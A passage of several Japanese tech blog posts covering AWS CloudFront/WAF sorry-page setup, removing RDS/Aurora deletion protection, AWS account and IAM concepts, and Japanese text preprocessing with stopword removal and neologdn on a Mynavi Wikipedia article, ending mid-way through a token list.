"CLOUDFRONT"：クライアントからCloudFrontに接続しようとした際に、クライアント側でのアクセスするエッジサーバのIP AWSが公開しているIPは変更する可能性あり カスタムヘッダーで制限 cloudfront側でカスタムヘッダーを追加 ヘッダー名と値は任意で推測されないような文字列を使用 ALBのリスナールールで、IF条件（HTTPヘッダーがCloudfrontで指定したものになっているか）を使用 条件に当てはまったものを通常のターゲット先へ転送 デフォルトアクション（条件に当てはまらなったもの）は503表示等で対応 WAF遮断時 以下の構成とする。 設定内容 Cloudfront オリジンにS3バケットを追加 エラーページ設定 403の場合（WAF遮断時は403を返す設定）、/waf_block.htmlへ飛ばす ビヘイビア設定 waf_block.htmlの場合、S3に飛ばす デフォルトはALBへ飛ばす WAF デフォルトはblock S3 waf_block.htmlを配置 アクセスした際の画面（S3上のwaf_block.html） サーバ停止時 以下の構成とする。 設定内容 Cloudfront オリジンにS3バケットを追加 エラーページ設定 503の場合（サーバ停止時は503を返す設定）、/server_stop.htmlへ飛ばす ビヘイビア設定 server_stop.htmlの場合、S3に飛ばす デフォルトはALBへ飛ばす WAF マイナビIPを許可 デフォルトはblock S3 server_stop.htmlを配置 EC2 停止 アクセスした際の画面（S3上のserver_stop.html） メンテナンス時 以下の構成とする。 設定内容 Cloudfront オリジンにS3バケットを追加 エラーページ設定 403の場合（WAF遮断時は403を返す設定）、/maintenance.htmlへ飛ばす ビヘイビア設定 maintenance.htmlの場合、S3に飛ばす デフォルトはALBへ飛ばす WAF デフォルトはblock S3 maintenance.htmlを配置 アクセスした際の画面（S3上のmaintenance.html） 各htmlファイルを保管しているS3バケット 同じバケットの中にhtmlファイルを配置して検証を行った。 まとめ 商用サービスの場合、以下のような構成とすることでsorryページ等を表示することが可能 Cloudfrontのエラーページ設定をすることで、各ステータスコードに対応するS3ファイルを表示可能 本記事では403と503を扱ったがその他のエラーコードにも対応 メンテナンス時はWAFで特定のIPのみを許可し、デフォルトはブロックすることで、WAF遮断時にメンテンナスページを表示可能 本来のWAF遮断ページをメンテナンスページに変更する ALBへのアクセス元をCloudfrontのみに制限 AWSマネージドプレフィックスリストを使用 2022/02/07からCloudfrontプレフィックスリストが使用可能 従来と比べて便利

今回はRDSやAuroraで削除保護が有効化されていて削除できない！という場合の対応方法をまとめました。 そもそも削除保護機能とは Amazon RDSデータベースインスタンスとAmazon Auroraデータベースクラスタに対して有効化が可能です。 削除保護を有効化することで、いかなるユーザによっても削除ができなくなります。 それによってうっかりミスでデータベースを削除してしまった！というのを防ぐことができます。 削除保護が有効化されたデータベースを削除するには データベースの削除を試みる 削除したいデータベースを選択>アクション>削除 削除保護が有効化されている場合、このようなメッセージが表示されます。 データベースの設定を見に行くと、確かに削除保護が「有効」になっていました。 削除保護の無効化を試みる データベースを選択>変更>追加設定 削除保護の有効化を解除します。 データベース削除をすぐに行う場合は、変更のスケジューリングで「すぐに適応」を選択します。 ※「次回の定期メンテナンス期間中に適用」を選択すると、変更の反映までに時間がかかりますので注意してください。 もう1度データベースの削除を試みる 無事、削除ができました。 注意点 Auroraの場合、クラスタに削除保護の有効化がかかっています。 ですのでインスタンスではなく クラスタ の設定を変更し、削除保護を無効化する必要があります。 ちなみに私はインスタンスの方で削除保護の解除を試みようとし、削除保護解除の欄がない！と非常に焦ってしまいました。

はじめに 「まずはアカウントを…あっいや、AWSのアカウントというのはそういう感じのものではなくて……」 AWSをはじめて導入する方と打ち合わせを行うと、ほぼ毎回出てくる話題です。 今回はAWSにおけるアカウントやユーザーまわりを（自分のために）まとめていきます。 AWSアカウント AWSにおけるアカウントとは、「ひとつひとつの環境のこと」を指しています。 AWSを利用したいと思ったら、まずはAWSアカウントを払い出してもらう必要があります。 その際、Amazonアカウントのような個人に紐づいているようなアカウントを想像される方もいるのですがAWSアカウントはそういう位置づけのアカウントではありません。 ※冒頭のセリフはこの説明にたじろいでしまっている私です。 AWSアカウントとは「ひとつひとつの環境」のことを指しており、利用者はそのアカウント範囲内でVPCやEC2といったAWSリソースを複数持つことが可能です。 AWSアカウントの払い出しに必要な情報は以下です。 メールアドレス パスワード 連絡先 支払情報 rootユーザー rootユーザーとは、AWSアカウントの作成時に作成をされるものです。 アカウント内のすべてのAWSサービスとリソース、そして請求情報に対してフルアクセス権限を持ったユーザーになります。 AWSの公式からは、日常的なタスクにおいてはrootユーザーは使用せず、IAMユーザーなどを使用することが推奨されています。 最初のIAMユーザー作成の際はrootユーザーの使用が必要となります。 IAM AWS Identity and Access Management(IAM)は、AWSリソースへのアクセスを安全に管理するためのサービスです。 IAMユーザー AWSアカウント内での権限をカスタマイズできるユーザーになります。 一般的に想像されるアカウント（個人に紐づくアカウント）に近い概念かと思います。 IAMユーザーの作成直後は何も権限が与えられていません。 そこにIAMポリシーをアタッチすることで権限のカスタマイズが行えます。 IAMポリシー AWSリソースに対してのアクセス権限などをオブジェクト式に定義可能なものになります。 IAMポリシーはJSONで表されます。 { "Version": "2012-10-17", "Statement": [　 { "Sid": "hoge", "Effect": "Allow", "Action": "ec2:StartInstances", "Resource": "*" } ]} 上記のポリシーを簡単に日本語にすると、 「このポリシーがアタッチされたユーザーは、アカウント内のすべてのEC2を起動をすることを許可する」 という意味を持ちます。 IAMグループ 複数のIAMユーザーをグルーピングすることができます。 IAMグループを使用することで、複数のIAMユーザーに対してまとめてIAMポリシーをアタッチすることが可能です。 その際、IAMユーザーは複数のIAMグループに属すことができます。 IAMロール IAMロールでは、IAMポリシーを複数アタッチして権限をグルーピングしています。 主な使い方としては、AWSリソースに対して権限を付与します。 例えば、IAMロールには以下のIAMポリシーがグルーピングされているとします。 S3バケットへのフルアクセス許可 Lambdaの実行権限 このIAMロールがアタッチされたリソースはS3バケットへのアクセスが許可され、Lambdaを実行できるようになります。 おまけ AWS スイッチロール 複数のAWSアカウントを利用する際、それぞれのアカウント権限をロールとして付与をすることでAWSアカウント切り替えを楽にできる機能のことです。 その際、ロールに付与されているポリシーによってそのアカウント内で行えることが制限されます。 AWSアカウントID IAMロール 表示される際の名前 表示される際の色 上記4つ（うち2つは任意）を入力します。 コンソール上で、クリック一つでアカウントの切り替えが可能になります。 さいごに AWSにおけるアカウントやユーザーといった概念は複雑かと思います。 大まかでも意味合いをつかむことで、セキュリティ面や運用面においてベストな使い方が実現できるかと思います。

はじめに はじめまして、AIシステム２課のY.Nです。 今回は自然言語処理を行なうにあたり下処理ともいえる部分で有効な処理について、 トークナイザーと正規化から取り組んでみようかと思います。 背景 自然言語処理を行なう中でよくあるタスクとして、各文の特徴的な単語はどれにあたるのかというものがあります。 TF-IDFを使うにしろ、Word2Vecを使うにしろ、そこに渡す内容次第で最終的な内容が大きく変わる可能性もあります。 そこでそれらのツールに渡す前にできるだけきれいなものにできないかということで、 今回は「ストップワードの処理」と「正規化」の観点から下処理を行なおうと思います。 前提 - 形態素解析 トークナイザー・辞書を使って文章を最小単位(形態素)に分割する処理のことを形態素解析といいます。 分かち書きだけでなく、読み方や原形、品詞なども一緒に表示するようにも可能です。 文章を特徴づけるもの 先程の例では、「が」「です」「。」などが含まれておりましたが、 これらはどこにでも出てくる単語であり、その文章を特徴づける要因にはなりえません。 そこで、今回は単語の品詞を「動詞」「名詞」「形容詞」に限定して抽出しようと思います。 ['私','は','マイナビ','の','社員','です','。','マイナビ','が','好き','です','。'] ⇩「動詞」「名詞」「形容詞」に限定⇩ ['私','マイナビ','社員','マイナビ','好き'] ストップワードについて たとえ、動詞、名詞、形容詞であってもタスクによっては不要や邪魔な単語の可能性はあります。 そのような取り除くべき単語を「 ストップワード 」と言います。 今回は既存のストップワードリストである Slothlib を使って取り除きたいと思います。 Slothlibは標準として310単語が登録されています。 リンク先に単語の一覧があるためお時間があるときに中身の確認をしてみてください！ 先程の例からストップワードを取り除いた結果 ['マイナビ','社員','マイナビ','好き'] 「私」という単語が除外されました。 正規化(ノーマライズ)について 無関係な文 よくテキスト(特にニュース記事やプレスリリースメールなど)では テキストリンク などが含まれており、 本文の内容と無関係のようなものが邪魔をすることがあります。 これらはトークナイザーに通す前に取り除きたいです。 数字 また、数字についても異なる趣旨のテキストでも同じ数字が含まれていると、 その数字に釣られて同じ文章であると判断されかねないです。 そこで数字も削除することにします。 半角・全角の有無、長音(伸ばし棒) 日本語を処理していると厄介なものとして半角・全角や長音(伸ばし棒)の濫用が登場してきます。 例えば、広告で使われる「セーーーーーール」のような強調表現がときどき見受けられます。 その他にも「ｾｰﾙ」のように全部半角になっているような文字列も「セール」のように一律で扱いたいものです。 そのように表記の揺れを正規化するモジュールとして neologdn を使いたいと思います。 他にも調べるといくつかあると思いますので、お時間あればぜひ！ 補足 - 正規化モジュールneologdnについて 今回取り上げた正規化モジュールneologdnについて少し補足をさせていただきます。 基本的な正規化ルールは neologdのwiki をベースにしています。 ただwikiにあるサンプルコードはpythonですが、neologdnは同等の処理をCythonで実装しているため、 約2倍程度処理速度の向上がされております。 またオプション引数として repeat というものがあります。 これは同じ文字が連続するときに、何文字(回)に短縮するのかを指定するものになります。 指定しない場合は短縮化されません。 しかし、このオプション引数repeatは注意が必要になります。 極端に少ない値を指定すると、意味が変わったり文が成立しなくなったりする恐れがあります。 neologdn.normalize('肩たたき', repeat=1)# -> '肩たき' また、長音記号(伸ばし棒)だけは例外の処理になり、 オプション引数repeatの指定の有無に限らず、いずれの場合でも1文字に短縮されます。 実際に処理をする 今回は検証データとして弊社マイナビのwikipediaの文章を使おうと思います！ (検証用にするには思ったよりも文章短かった) 「マイナビ」『フリー百科事典　ウィキペディア日本語版』（ http://ja.wikipedia.org/ ）。2022年4月5日10時（日本時間）現在での最新版を取得。 クラス化とか関数化とかもろもろの準備をそろえて処理を行ないました。 処理前と処理後の文章載せるので結構見にくいかもしれないです！ 株式会社マイナビMynavi Corporationマイナビ本社が入居するパレスサイドビルディング種類株式会社市場情報非上場本社所在地 日本〒100-0003東京都千代田区一ツ橋一丁目1-1パレスサイドビルディング設立1973年8月15日業種サービス業法人番号3010001029968 事業内容（1）新聞の発行及び出版事業（2）就職情報誌の提供、求人・採用活動に関するコンサルティング（3）宣伝、広告、PR業（4）労働者派遣事業、有料職業紹介事業（5）セミナー・講演会・講習会等催事の企画・立案・実施（6）人材育成、企業経営のコンサルティング、教育・研修業務（7）進学に関する情報の提供、生徒・学生の募集に関するコンサルティング（8）各種検定試験の運営および運営の請負（9）ブライダル情報の提供（10）不動産の賃貸・譲渡に関する情報の提供、不動産の賃貸および仲介・斡旋業務（11）旅行業、宿泊施設に関する情報の提供（12）コンピュータソフトウェア、ゲームソフトウェア等の企画・開発・制作および販売（13）通信回線、コンピュータシステムを利用した情報処理、情報提供サービス（14）ヘルスケアに関する事業（15）上記に付帯するその他の事業代表者代表取締役社長 中川信行資本金21億0210万0千円（2018年3月17日現在）売上高1745億円(2018年9月期)営業利益364億2110万5千円純利益99億3715万9千円純資産266億9266万8千円（2018年9月30日現在）総資産480億7872万6千円（2018年9月30日現在）従業員数グループ全体社員数約9000名決算期9月30日主要株主毎日新聞社 10%弱社員持株会主要子会社グループ企業の項目を参照外部リンクhttps://www.mynavi.jp/特記事項：2011年10月に毎日コミュニケーションズより社名変更テンプレートを表示株式会社マイナビ（Mynavi Corporation）は、就職・転職・進学情報の提供や人材派遣・人材紹介などを主業務とする日本の大手人材・広告企業である。また、同名のブランドで人材情報サービスのポータルサイトを運営している。1973年に株式会社毎日コミュニケーションズ（まいにちコミュニケーションズ、Mainichi Communications Inc.）として創業。2011年10月1日より現在の社名となった。目次1 概要1.1 ブランド名ポータルサイト1.1.1 マイナビ各種ポータルサイト2 沿革3 グループ企業3.1 過去のグループ企業4 CM・イメージキャラクター5 関連項目6 脚注7 外部リンク概要[編集]元々は毎日新聞社の関連会社として設立され、現在も本社が毎日新聞社と同じパレスサイドビルディングにあるほか、健康保険組合なども共通である。そのため、世間的には毎日新聞社のグループ企業と認識されることが多いが、現在の同社に対する毎日新聞社の持株比率は10%を割っており、資本的なつながりは非常に薄くなっている（毎日新聞社側でも「グループ会社」ではなく「友好会社」の扱いとしている[1]）一方で、ライバル企業の朝日新聞社も若干出資している[2]。2015年10月にマイナビ出版へ分社した出版事業においても、毎日新聞に掲載された連載記事や連載小説の書籍化は2015年4月に設立された毎日新聞出版で行っており（出版社設立以前は毎日新聞社自身で出版を行っていた）、マイナビでは行われていなかった。ただし、旧・毎日コミュニケーションズ時代に発売したニンテンドーDS用ソフト『最強の漢字ドリル5万問』では毎日新聞社が出題協力している[3]。旧・毎日コミュニケーションズ時代は、一般向けの略称として英字略称の「MYCOM」（マイコム）を用いていたほか、提供するサービスの多くに「毎日」を冠していたが、2007年3月にCIを導入しカタカナ表記の「マイコミ」に略称を切り替え、自社が運営するサービスの冠名称も順次「マイコミ」もしくは「マイナビ」に切替を実施していた。現在の社名は、主力サービスである就職情報サイト「マイナビ」を企業名に採用したものであり、社章もマイナビのmとnをかたどったラインで人生の「波」を、波に寄り添うドットでその「転機」を表現したMNマークを採用している。2008年から朝日放送テレビ（ABCテレビ）[4]主催の男子プロゴルフツアー「ABCチャンピオンシップゴルフトーナメント」に特別協賛し、「マイナビABCチャンピオンシップゴルフトーナメント」として実施された。2017年からプロ野球オールスターゲームでは特別協賛し、「マイナビオールスターゲーム」として実施。ブランド名ポータルサイト[編集]マイナビ（Mynavi）は、株式会社マイナビが運営する人材情報サービスのポータルサイトである。「マイナビ」のブランド名は、それまで毎日コミュニケーションズが提供してきた様々な人材情報系サイトを統合した新たなサービス・ブランドとして、2007年1月末発表、2007年3月6日付使用開始された。「マイナビ」という呼称が最初に使われたのは、新卒学生向け就職情報サイト「毎日就職ナビ」（まいにちしゅうしょくナビ）の略称としてである。これが人材情報サービス全体を示す共通ブランドとして昇格し使用された。2011年10月1日には、活力のあるブランドとして浸透したマイナビ呼称を社名として採用し、毎日コミュニケーションズという企業名を株式会社マイナビに変更した[5]。マイナビ各種ポータルサイト[編集]従来から同社が手がけていた新卒学生向け（マイナビ20○○と西暦がつく）、転職希望者向け、派遣希望者向け、進学希望者向けなどのサービスに加え、2007年秋にアルバイト希望者向けサイトをオープンするなど、総合人材情報サイトとして規模拡大を続けた。2012年に「マイナビ賃貸」「マイナビウエディング」といった人材情報以外の分野のサイトを相次いでオープンさせ、リクナビやSUUMOなどを展開する同業他社有力企業群であるリクルートグループの対抗勢力としての姿勢を強く打ち出している。沿革[編集]1973年8月15日 - 株式会社毎日コミュニケーションズ設立。当初は新聞・出版のほか、絵画・美術品の輸入販売を目的として設立。1978年 - 海外留学を目指す大学生の留学手続き代行を携わる「個人留学部門」が発足され、日中文化交流の一環で書道訪中団を中国に送り込む。1981年5月 - 就職情報誌『毎日就職ガイド』創刊。1984年1月 - 『週刊将棋』創刊。1993年4月 - 『Mac Fan』創刊。1993年12月 - 『PCfan』創刊。1995年12月 - インターネットでの就職情報提供サービス「Career Space」（のちの「毎日就職ナビ」、現在の「マイナビ」）を開始。1996年7月 - コンピュータゲーム雑誌『The 64DREAM』（2001年に『ニンテンドードリーム』へ誌名変更）創刊。2001年12月10日 - 株式会社MCプレスを設立。2006年10月30日 - 東京地図出版株式会社を子会社化。2008年8月31日 - MCプレスを解散。2009年3月31日 - 日本将棋連盟発行の刊行物を制作・販売すると発表[6]。2011年10月1日 - 株式会社マイナビに社名変更[7]。同日、ニュースサイト「マイコミジャーナル」と「COBS ONLINE」を統合しマイナビニュースがオープン。2012年2月1日 - 完全子会社の東京地図出版株式会社を吸収合併。2012年10月1日 - 完全子会社の株式会社マイナビエージェントを吸収合併。2014年4月 - 株式会社マイナビ浜松を吸収合併。2014年8月1日 - 株式会社マイナビ静岡を吸収合併。2015年10月1日 - 出版事業を分社化し、株式会社マイナビ出版を設立[8]2015年 - 厚生労働省委託事業「職業紹介優良事業者認定制度」において「職業紹介優良事業者」事業者認定を取得[9]2016年2月23日 - 株式会社マイナビコリア（Mynavi KOREA）を設立[10]。2016年6月1日 - ヘルスケア事業および障がい者雇用開発部門を分社化し、株式会社マイナビパートナーズを設立[11]。2017年11月1日 - 赤坂BLITZの命名権を取得し、「マイナビBLITZ赤坂」となる[12]。グループ企業[編集]株式会社マイナビ出版 - 2015年10月1日に出版事業部を分社。株式会社マイナビサポート - 発送代行等のアウトソーシング会社。旧毎日ビジネスサポート。株式会社毎日オークション - 美術オークション会社。2001年10月に毎日コミュニケーションズ美術事業部が独立して設立。株式会社マイナビが株主。株式会社毎日学術フォーラム - 各種学会の業務受託会社。2006年11月24日に設立。株式会社マイナビパートナーズ - 2016年6月1日にヘルスケア事業および障がい者雇用開発部門を分社。日本エス・エイチ・エル - イギリスのSHLグループとライセンス契約を結んでいる人材アセスメントサービス会社。2007年5月に株式26.44%の譲渡を受ける。2011年9月末現在、マイナビが筆頭株主（29.01%）となっている。Mynavi USA Corporation - アメリカ・ニューヨークの現地法人。2011年10月1日に毎日コミュニケーションズUSAから商号変更。毎日協通（北京）諮詢有限公司 - 中国・北京の現地法人。北京毎日協通人力資源有限公司 - 中国・北京の現地法人。株式会社マイナビコリア（Mynavi KOREA Corporation） - 韓国・ソウルの現地法人。2016年2月26日に韓国貿易協会と業務協約を締結[13][14]。過去のグループ企業[編集]株式会社MCプレス - コンビニ規制により分離独立した出版社（有害図書を参照のこと）。2008年8月に解散。東京地図出版株式会社 - 2006年10月に株式譲渡を受け子会社化。2012年2月に吸収合併。株式会社マイナビエージェント - 総合人材派遣業。2011年10月1日に株式会社毎日キャリアバンクから商号変更。2012年10月に吸収合併。株式会社毎日エデュケーション - 毎日コミュニケーションズ海外事業部の留学斡旋事業を事業譲受した会社（法人自体はマイナビのグループ企業ではない）。株式会社マイナビ浜松 - 静岡西部に特化した人材情報会社。2011年12月に設立。2014年4月に吸収合併。株式会社マイナビ静岡 - 静岡に特化した人材情報会社。2003年5月に毎日コミュニケーションズ静岡支社が株式会社MYCOM静岡として独立。2011年10月1日に株式会社マイコミ静岡から商号変更。2014年8月に吸収合併。CM・イメージキャラクター[編集]石川遼 - 全マイナビブランド共通大塚愛 - マイナビ2010flumpool - マイナビ2011有吉弘行 - マイナビ2015、2016内村光良 - マイナビ2017黒島結菜 - マイナビ2018スガシカオ - マイナビ転職前田敦子 - マイナビ転職（2013年イメージキャラクター）石原さとみ - マイナビ転職・イメージキャラクター（2015年 - ）[15]有村架純、山﨑賢人 - マイナビバイト波瑠 - マイナビ看護師飯豊まりえ - 初代マイナビウエディングガール金城茉奈 - 2代目マイナビウエディングガール新田真剣佑 - マイナビウエディングキャラクター吉川愛 - 3代目マイナビウエディングガールAKB48（谷口めぐ、福岡聖菜、小栗有以、樋渡結依、久保怜音） - マイナビ賃貸吉沢亮 - マイナビバイト関連項目[編集]マイナビニュース世界遺産検定愛しの仕事さま。 - マイナビ一社提供の学生向け就職活動情報番組将棋の棋戦レディースオープントーナメントマイナビ女子オープン男子プロゴルフツアーマイナビABCチャンピオンシップゴルフトーナメントプロ野球横浜DeNAベイスターズ - 2008年のみユニフォームスポンサー。東京ヤクルトスワローズ - 2014年現在トップスポンサー。本拠地の明治神宮野球場にも広告を掲出。2015年のセントラル・リーグクライマックスシリーズ（ヤクルトが同年のリーグを制覇したので「2015 マイナビセントラルリーグクライマックスシリーズ ファイナルステージ」として協賛）2018年のセントラル・リーグクライマックスシリーズ （ヤクルトがレギュラーシーズンを2位で終えたため、「2018マイナビ クライマックスシリーズ セ ファーストステージ」として協賛）マイナビオールスターゲーム - 2017年からの冠スポンサー。プロボクシング村田諒太 - トランクススポンサープロビーチバレーボール坂口佳穂・鈴木悠佳子 - 所属選手ジャパンビーチバレーボールツアー - 2016年より開始。東京大会を「マイナビシリーズ」として協賛。プロサッカーロアッソ熊本 - 2017年より2019年までユニフォーム背中上部に広告を掲載。ベガルタ仙台 - 2021年よりユニフォームズボン前部に広告を掲載。女子サッカーベガルタ仙台レディース - 2017年度より4年間、パートナー契約により「マイナビベガルタ仙台レディース」の名称となる。2021年よりチームを完全に買収し「マイナビ仙台レディース」の名称で運営する[16]。プロバスケットボール千葉ジェッツふなばし - 2016-17シーズンよりオフィシャルパートナー。マイナビ Be a booster! B.LEAGUEウィークリーハイライト - BS11にて放送されるB.LEAGUE情報番組。未確認フェスティバル - 2019年度のメインサポーターに就任し、「マイナビ未確認フェスティバル2019」として開催。新聞社系出版社毎日新聞出版（毎日新聞社系列。2015年毎日新聞社出版局を分社化）朝日新聞出版（朝日新聞社系列）産経新聞出版（産業経済新聞社系列。発売：扶桑社）中央公論新社（読売新聞グループ本社傘下　読売新聞東京本社も書籍を刊行）日本経済新聞出版社（日本経済新聞社系列）日経BP（同上）大東亜帝国脚注[編集][脚注の使い方]^ 毎日新聞グループホールディングス - 毎日新聞社^ 有価証券報告書、第165期（平成29年4月1日 - 平成30年3月31日）、91ページ、朝日新聞社。EDINET提出書類。この時点では400,000株を保有。^ 毎日新聞社協力 最強の漢字ドリル5万問^ 2017年度まで、放送持株会社移行前の旧・朝日放送。^ 株式会社 毎日コミュニケーションズ、「株式会社マイナビ」に社名を変更^ 『将棋世界』『将棋年鑑』は当初「販売のみ」と発表されていたが、のち「制作・販売」と変わった。^ 株式会社 毎日コミュニケーションズ、「株式会社マイナビ」に社名を変更^ 出版事業部門を分社化し、株式会社マイナビ出版を設立（株式会社マイナビ2015年9月15日　10月2日閲覧）^ “企業情報：マイナビエージェントの評判について | 転職wiki”. 転職wiki. 2018年6月2日閲覧。^ 会社情報 – Mynavi KOREA^ 株式会社マイナビパートナーズを設立 (2016.06.01) | お知らせ | マイナビ^ 「赤坂BLITZ」ネーミングライツ（命名権）を取得^ 会社情報 – Mynavi KOREA^ 「韓国の若者よ、日本で就職しよう!」 韓国協会が支援方針 すでに説明会開催（1/2ページ） - 産経ニュース^ “マイナビ:石原さとみさん起用 新CMソングはファンキー加藤さん” (2015年1月23日). 2015年1月23日閲覧。^ マイナビベガルタ仙台レディースの経営権譲渡 株式会社マイナビと合意書締結のお知らせ - ベガルタ仙台・2020年9月1日外部リンク[編集]株式会社マイナビマイナビ株式会社マイナビ (@mynavi_pr) - Twitter先代:マツダ2008年-2016年NPBオールスターゲームオフィシャル・スポンサー2017年-次代:N/A表話編歴毎日新聞社本社毎日新聞グループホールディングス（グループ持株会社 東京都千代田区）東京本社（東京都千代田区）大阪本社（大阪府大阪市北区）西部本社（福岡県北九州市小倉北区）中部本社（愛知県名古屋市中村区）支社・本部北海道支社（北海道札幌市中央区）福岡本部（福岡県福岡市中央区）ささしまオフィス（愛知県名古屋市中村区）現在の刊行物毎日新聞毎日新聞デジタルTAP-i毎日小学生新聞毎日ウィークリー点字毎日サンデー毎日毎日新聞縮刷版エコノミストエコノミスト投資の達人月刊NewsがわかるMMJ過去の刊行物毎日デイリーニューズMAINICHI RT毎日中学生新聞毎日こどもしんぶんカメラ毎日毎日年鑑まんたんブロード系列新聞社スポーツニッポン新聞社福島民報社下野新聞社関連放送局TBSホールディングス（TBSテレビ / TBSラジオ / BS-TBS）1MBSメディアホールディングス（毎日放送 / MBSラジオ））1RKB毎日ホールディングス（RKB毎日放送（ラジオ））1テレビ山口2和歌山放送2ラジオ福島2BS113広告関連毎日広告社不動産関連毎日ビルディングスポーツ関連選抜高等学校野球大会都市対抗野球大会社会人野球日本選手権大会全日本クラブ野球選手権大会全国高等学校ラグビーフットボール大会日本フットボール優勝大会甲子園ボウル毎日テニス選手権黒鷲旗全日本男女選抜バレーボール大会全日本実業団対抗駅伝競走大会全日本実業団対抗女子駅伝競走大会別府大分毎日マラソン大阪マラソン全国高等学校駅伝競走大会毎日スポーツ人賞毎日杯毎日王冠王将戦名人戦本因坊戦全日本アマチュア本因坊戦浜寺水練学校歴史・事件毎日新聞の歴史 / 大阪毎日新聞 / 東京日日新聞時事新報光文事件竹槍事件本社襲撃事件西山事件グリコ・森永事件に関する捏造事件Who are you?報道社長監禁事件毎日デイリーニューズWaiWai問題関連人物カテゴリ:毎日新聞社の人物 / 本山彦一松本重太郎原敬小松原英太郎福地源一郎関直彦伊東巳代治加藤高明城戸元亮岡實奥村信太郎高石真五郎本田親男上田常隆梅島貞山本光春田中香苗平岡敏男山内大介渡辺襄小池唯夫斎藤明北村正任朝比奈豊丸山昌宏高橋信三坂田勝郎斎藤守慶古谷綱正西山太吉細川隆一郎三宅久之鳥井守幸岩見隆夫鳥越俊太郎嶌信彦岸井成格牧太郎近藤勝重与良正男芥川龍之介井上靖山崎豊子種村直樹関連項目日曜くらぶ（日曜版）JNNJRN毎日新聞ニュース桜田です!アサッテ君ウチの場合はぐうたらママ毎日かあさんマイナビマイナビ出版毎日映画社毎日信用組合ナゴヤキャッスル千葉ロッテマリーンズまいまいクラブ脚注1JNN加盟局における友好会社としての関係（主要な局のみ掲載）2マスメディア集中排除原則において「支配」に当たる10%を超える議決権を有している局3グループ会社典拠管理 NDL: 001093756VIAF: 255040138WorldCat Identities: viaf-255040138 ここから「[編集]」「改行コード」「タブ」を削除し、「動詞」「名詞」「形容詞」のみを抽出したものが以下になります。 ['株式会社', 'マイナビ', 'Mynavi', 'Corporation', 'マイナビ', '本社', '入居', 'する', 'パレスサイドビルディング', '種類', '株式会社', '市場', '情報', '上場', '本社', '所在地', '日本', '東京', '千代田', '一ツ橋', '丁目', 'パレスサイドビルディング', '設立', '年月日', '業種', 'サービス', '業', '法人', '番号', '事業', '内容', '新聞', '発行', '出版', '事業', '就職', '情報', '提供', '求人', '採用', '活動', 'コンサルティング', '宣伝', '広告', 'PR', '業', '労働', '派遣', '事業', '有料', '職業', '紹介', '事業', 'セミナー', '講演', '講習', '催事', '企画', '立案', '実施', '人材', '育成', '企業', '経営', 'コンサルティング', '教育', '研修', '業務', '進学', '情報', '提供', '生徒', '学生', '募集', 'コンサルティング', '各種', '検定', '試験', '運営', '運営', '請負', 'ブライダル', '情報', '提供', '不動産', '賃貸', '譲渡', '情報', '提供', '不動産', '賃貸', '仲介', '斡旋', '業務', '旅行', '業', '宿泊', '施設', '情報', '提供', 'コンピュータソフトウェアゲームソフトウェア', '企画', '開発', '制作', '販売', '通信', '回線', 'コンピュータ', 'システム', '利用', 'する', '情報処理', '情報', '提供', 'サービス', 'ヘルスケア', '事業', '付帯', 'する', 'その他', '事業', '代表', '代表', '取締役', '社長', '中川', '信行', '資本', '年月日', '現在', '売上', '年月', '期', '営業', '利益', '純利', '益', '純資産', '万千円年月日現在総資産億万千円年月日現在従業員数', 'グループ', '全体', '社員', '決算', '期', '月日', '主要', '株主', '毎日新聞社', '%', '弱', '社員', '持株', '主要', '子会社', 'グループ', '企業', '項目', '参照', '外部', 'リンク', 'Corporation', '就職', '転職', '進学', '情報', '提供', '人材', '派遣', '人材', '紹介', '業務', 'する', '日本', '大手', '人材', '広告', '企業', '同名', 'ブランド', '人材', '情報', 'サービス', 'ポータルサイト', '運営', 'する', 'いる', '株式会社', '毎日コミュニケーションズ', 'まう', 'ちる', 'コミュニケーションズ', 'Mainichi', 'Communications', 'Inc', '創業', '年月日', '現在', '社名', 'なる', '目次', '概要', 'ブランド', 'ポータルサイトマイナビ', '各種', 'ポータルサイト', '沿革', 'グループ', '企業', '過去', 'グループ', '企業', 'CM', 'イメージ', 'キャラクター', '関連', '項目', '脚注', '外部', 'リンク', '概要', '元々', '毎日新聞社', '関連', '会社', '設立', 'する', 'れる', '現在', '本社', '毎日新聞社', 'パレスサイドビルディング', 'ある', '健康', '保険', '組合', '共通', '世間', '毎日新聞社', 'グループ', '企業', '認識', 'する', 'れる', '多い', '現在', '同社', '毎日新聞社', '持株', '比率', '%', '割る', 'おる', '資本', 'つながり', '非常', '薄い', 'なる', 'いる', '毎日新聞社', '側', 'グループ', '会社', '友好', '会社', 'する', 'いる', '一方', 'ライバル', '企業', '朝日新聞社', '若干', '出資', 'する', 'いる', '年月', 'マイナビ', '出版', '分社', 'する', '出版', '事業', '毎日新聞', '掲載', 'する', 'れる', '連載', '記事', '連載', '小説', '書籍', '年月', '設立', 'する', 'れる', '毎日新聞', '出版', '行う', 'おる', '出版', '社', '設立', '毎日新聞社', '自身', '出版', '行う', 'いる', 'マイナビ', '行う', 'れる', 'いる', '毎日コミュニケーションズ', '時代', '発売', 'する', 'ニンテンドー', 'DS', 'ソフト', '最強', '漢字', 'ドリル', '問', '毎日新聞社', '出題', '協力', 'する', 'いる', '毎日コミュニケーションズ', '時代', '一般', '向け', '略称', '英字', '略称', 'MYCOM', 'マイ', 'コム', '用いる', 'いる', '提供', 'する', 'サービス', '冠す', 'いる', '年月', 'CI', '導入', 'する', 'カタカナ', '表記', 'マイコミ', '略称', '切り替える', '自社', '運営', 'する', 'サービス', '冠', '名称', 'マイコミ', 'マイナビ', '切替', '実施', 'する', 'いる', '現在', '社名', '主力', 'サービス', '就職', '情報', 'サイト', 'マイナビ', '企業', '採用', 'する', '社', '章', 'マイナビ', 'm', 'n', 'かたどる', 'ライン', '人生', '波', '波', '寄り添う', 'ドット', '転機', '表現', 'する', 'MN', 'マーク', '採用', 'する', 'いる', '朝日放送', 'テレビ', 'ABC', 'テレビ', '主催', '男子', 'プロ', 'ゴルフ', 'ツアー', 'ABC', 'チャンピオンシップ', 'ゴルフ', 'トーナメント', '特別', '協賛', 'する', 'マイナビ', 'ABC', 'チャンピオンシップ', 'ゴルフ', 'トーナメント', '実施', 'する', 'れる', 'プロ', '野球', 'オールスター', 'ゲーム', '特別', '協賛', 'する', 'マイナビオールスターゲーム', '実施', 'ブランド', 'ポータルサイトマイナビ', 'Mynavi', '株式会社', 'マイナビ', '運営', 'する', '人材', '情報', 'サービス', 'ポータルサイト', 'マイナビ', 'ブランド', '毎日コミュニケーションズ', '提供', 'する', 'くる', '人材', '情報', 'サイト', '統合', 'する', 'サービス', 'ブランド', '年月', '末', '発表', '年月日', '付', '使用', '開始', 'する', 'れる', 'マイナビ', '呼称', '最初', '使う', 'れる', 